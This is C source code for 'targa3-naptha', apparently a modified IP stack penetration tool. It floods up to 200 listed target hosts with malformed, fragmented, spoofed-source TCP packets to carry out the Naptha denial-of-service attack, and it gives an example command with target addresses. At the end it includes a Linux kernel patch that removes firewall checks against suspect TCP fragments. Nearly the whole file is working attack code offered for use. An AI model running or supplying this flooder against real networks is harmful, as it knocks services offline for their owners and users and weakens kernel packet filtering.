/* * targa3-naptha (modified) (c) Mixter , 2XS Ltd. * * TEST-CODE * TEST-CODE * TEST-CODE * * Modified version of the IP stack penetration tool targa3.c * Tries to implement the TCP-based "Naptha" attack (send short packets) * on a random packet construction basis. The best platform to test this * on is Linux. IMPORTANT: You should disable the outgoing-fragment protection * by modifying the Linux 2.2.x kernel as shown at the bottom of this file. * * Some of these packets might not pass through routers with * filtering enabled - tests with source and destination host * on the same ethernet segment gives best effects. * * Example: * ./targa3 -p 80 193.116.54.15 192.88.209.18 134.205.131.22 -c 1000 * * #include * THIS SOFTWARE IS MADE AVAILABLE "AS IS", AND THE AUTHOR DISCLAIMS ALL * WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING * WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER * RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF * CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include #include #include #include #include #include #include #include #include #include u_char rseed[4096]; int rsi, rnd, pid; #if __BYTE_ORDER == __LITTLE_ENDIAN #ifndef htons unsigned short int htons (unsigned short int hostshort); #endif #define TONS(n) htons(n) #elif __BYTE_ORDER == __BIG_ENDIAN #define TONS(n) (n) #endif struct sa_in { unsigned short int sin_family, sin_port; struct { unsigned int s_addr; } sin_addr; unsigned char sin_zero[8]; }; struct tcph { unsigned int src, dst; unsigned long int seq, ack; #ifndef WORDS_BIGENDIAN unsigned char x2:4, off:4; #else unsigned char off:4, x2:4; #endif unsigned char flg; /* flag1 | flag2 */ unsigned int win, sum, urp; }; struct iph { /* IP header */ #if __BYTE_ORDER == __LITTLE_ENDIAN #define TONS(n) htons(n) unsigned char ihl:4; unsigned char version:4; #elif __BYTE_ORDER == __BIG_ENDIAN #define TONS(n) (n) unsigned char version:4; unsigned char ihl:4; #endif unsigned char tos; unsigned short int tot_len; unsigned short int id; unsigned short int frag_off; unsigned char ttl; unsigned char protocol; unsigned short int check; unsigned int saddr; unsigned int daddr; }; unsigned short sum(unsigned short *buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } void tcpsum(char *ippacket, struct iph *ih, struct tcph *tch, int tot_len) { char *pbuf = (char *)malloc(8192); struct pseudo { long src, dst; unsigned char mbz, pro, len; }; struct pseudo *ph = (struct pseudo *) pbuf; memset(pbuf, 0, 8192); ph->src = ih->saddr; ph->dst = ih->daddr; ph->mbz = 0; ph->pro = 6; ph->len = htons(tot_len - 20); tch->sum = 0; memcpy(pbuf + 12, ippacket + 20, tot_len - 20); tch->sum = sum((unsigned short *) pbuf, ((tot_len - 20) + 12) >> 1); } unsigned long int inet_addr (const char *cp); unsigned int realrand (int low, int high) { int evil[2]; evil[0] = rseed[rsi]; evil[1] = rseed[rsi + 1]; rsi += 2; if (evil[0] == 0x00) evil[0]++; if (evil[1] == 0x00) evil[1]++; srandom (time (0)); srand (random () << pid % evil[0] >> evil[1]); /* don't ask :P */ return ((rand () % (int) (((high) + 1) - (low))) + (low)); } void sigh (int sig) { puts (" ] \n"); exit (0); } int main (int argc, char **argv) { int s = socket (AF_INET, SOCK_RAW, 6); /* IPPROTO_TCP */ int res, psize, loopy, targets = 0, tind, count = -1; char *packet, ansi[16]; struct sa_in sin; struct iph *ip; struct tcph *tc; int destport = 0; u_long target[200]; int frags[10] = { /* (un)common fragment values */ 0, 0, 0, 8192, 0x4, 0x6, 16383, 1, 0, }; int flgs[10] = { 0x02, 0x10, 0x02|0x10, 0x08|0x10, 0x04|0x20, 0x10|0x20, 0x10, 0x02|0x08, 0, 0 }; rnd = open ("/dev/urandom", O_RDONLY); read (rnd, rseed, 4095); rsi = 0; snprintf (ansi, 15, "[%d;3%dm", realrand (0, 1), realrand (1, 7)); printf ("\t\t%starga 3.0-naptha by Mixter\n", ansi); fflush (stdout); if (argc < 2) { fprintf (stderr, "usage: %s [ip2] ... [-c count]\n", argv[0]); exit (-1); } if (argc > 201) { fprintf (stderr, "cannot target more than 200 hosts!\n"); exit (-1); } for (loopy = 1; loopy < argc; loopy++) { if (strcmp (argv[loopy - 1], "-c") == 0) { if (atoi (argv[loopy]) > 1) count = atoi (argv[loopy]); continue; } if (strcmp (argv[loopy - 1], "-p") == 0) { if (atoi (argv[loopy]) > 1) destport = atoi (argv[loopy]); continue; } if (inet_addr (argv[loopy]) != -1) { target[targets] = inet_addr (argv[loopy]); targets++; } } if (!targets) { fprintf (stderr, "no valid ips found!\n"); exit (-1); } snprintf (ansi, 15, "[%d;3%dm", realrand (0, 1), realrand (1, 7)); printf ("%s\tTargets:\t%d\n", ansi, targets); if (destport) printf("\tDest port: %d\t\n", destport); printf ("\tCount:\t\t"); if (count == -1) puts ("infinite"); else printf ("%d\n", count); printf (" [ "); fflush(0); for (res = 0; res < 18; res++) signal (res, sigh); pid = getpid (); psize = sizeof (struct iph) + realrand (128, 512); packet = calloc (1, psize); ip = (struct iph *) packet; tc = (struct tcph *) (packet + sizeof(struct iph)); setsockopt (s, 0, 3, "1", sizeof ("1")); /* IP_HDRINCL: header included */ sin.sin_family = PF_INET; sin.sin_port = TONS (0); while (count != 0) { if (count != -1) count--; for (loopy = 0; loopy < 0xff;) { for (tind = 0; tind < targets + 1; tind++) { sin.sin_addr.s_addr = target[tind]; if (rsi > 4000) { read (rnd, rseed, 4095); rsi = 0; } read (rnd, packet, psize); frags[9] = realrand (0, 8100); ip->version = 4; ip->ihl = 5; ip->tos = 0; ip->tot_len = TONS (psize); ip->id = TONS (realrand (1, 10000)); ip->ttl = 0x7f; ip->protocol = 6; ip->frag_off = TONS (frags[(int) realrand (0, 9)]); ip->check = 0; ip->saddr = random (); ip->daddr = target[tind]; if (destport) tc->dst = destport; if (realrand(0,1)) tc->ack = 0; if (realrand(0,1)) tc->off = 0; if (realrand(0,1)) tc->urp = 0; tc->flg = flgs[(int) realrand (0, 9)]; tc->sum = 0; res = sendto (s, packet, psize - realrand (1, psize-1), 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)); if (res > 0) loopy++; } } snprintf (ansi, 15, "[%d;3%dm", realrand (0, 1), realrand (1, 7)); printf ("%s.", ansi); usleep (200); fflush (stdout); } free (packet); /* free willy */ puts (" ]\n"); return 0; } #ifdef BLAH Here is how you un-protect the Linux kernel in preparation for this tool Go to /usr/include/src/net/ipv4 and patch ip_fw.c with the following patch. (Tested on kernel 2.2.17) --- ip_fw.c Mon Sep 4 20:39:29 2000 +++ ip_fw.c.new Fri Dec 8 16:09:51 2000 @@ -629,13 +629,6 @@ * checks. */ - if (offset == 1 && ip->protocol == IPPROTO_TCP) { - if (!testing && net_ratelimit()) { - printk("Suspect TCP fragment.\n"); - dump_packet(ip,rif,NULL,NULL,0,0,0,0); - } - return FW_BLOCK; - } /* If we can't investigate ports, treat as fragment. It's * either a trucated whole packet, or a truncated first @@ -664,13 +657,6 @@ * used to rewrite port information, and thus should * be blocked. */ - if (offset && (ntohs(ip->frag_off) & IP_MF)) { - if (!testing && net_ratelimit()) { - printk("Suspect short first fragment.\n"); - dump_packet(ip,rif,NULL,NULL,0,0,0,0); - } - return FW_BLOCK; - } } src = ip->saddr; #endif